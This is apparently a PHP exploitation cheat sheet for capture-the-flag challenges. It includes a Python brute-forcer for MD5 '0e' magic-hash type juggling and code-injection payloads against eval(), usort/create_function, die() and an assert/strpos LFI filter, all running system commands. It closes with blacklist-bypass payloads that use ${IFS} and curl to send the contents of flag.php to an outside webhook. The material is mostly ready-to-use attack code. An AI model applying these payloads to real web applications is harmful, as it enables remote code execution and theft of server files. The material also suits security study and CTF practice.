import hashlib
username = 'admin'
target = '0e'
candidate = 0;
while True:
plaintext = username+target+str(candidate)
hash = hashlib.md5(plaintext.encode('ascii')).hexdigest()
# Hash starts with “0e”
if hash[:2] == target:
# Hash contains only one letter (“e”) in first twenty characters
# So it can be considered as a number by PHP
if sum(c.isalpha() for c in hash[:20]) == 1:
print('username and password:' + plaintext);
break
candidate = candidate + 1
Eval()
Always pay attention to the behaviour and aim to fix the syntax in order to acheive code execution. Taking the code below as an example, we can acheive code execution by payloads such like:
The challenge here is to break out of the code syntax and keep a clean syntax. There are many ways to do it:
By adding dummy code
".system('uname -a'); $dummy="
By using comment
".system('uname -a');#
".system('uname -a');//
usort()
When ordering information, developers can use two methods:
order by in a SQL request;
usort in PHP code. The function usort is often used with the function create_function to dynamically generate the "sorting" function, based on user-controlled information. If the web application lacks potent filtering and validation, this can lead to code execution.
?order=id);}system('uname%20-a');//
die()
die function in PHP can run any system command before quitting the flow of the program
die(system(ls))
strpos()
Many Application uses strpos() to check for malicious inputs in the file parameter. strpos() finds the position of the first occurrence of a substring in a string, it returns False if the given substring is not found in the given string.
assert("strpos('$file', '..') === false") or die("Detected LFI attempt!");
This kind of filter can be found in many CTF’s or even in real life to protect the Application from LFI Attacks. This filter checks the file variable for any .. pattern and if it's found then the program terminates.
We can use the same technique used above but here we have one extra function (strpos) that we need to bypass in order to run our command directly to the assert function.
' and die(system(ls))or ' , this payload can be used to break out of strpos() and interact
with the assert() function directly, and again we can run any arbitrary command on the Server. (Doesn't work from php 8)
We have to inject a payload that doesn't contain spaces and blacklisted functions, So that the payloads would be:
# The quoting is mandatory between tac, or the payload won't work.
<?=exec('curl${IFS}-XPOST${IFS}-d${IFS}"`tac${IFS}/var/www/html/flag.php`"${IFS}<WEBHOOK>')?>
# Using Highlight_File()
<?=highlight_file("/var/www/html/flag.php");?>
# If a for loop was set to check on a blacklist
<?=exec('curl${IFS}-XPOST${IFS}-d${IFS}"`gzip${IFS}-c${IFS}/var/www/html/flag.php${IFS}0>&1|zcat`"${IFS}<WEBHOOK>')?>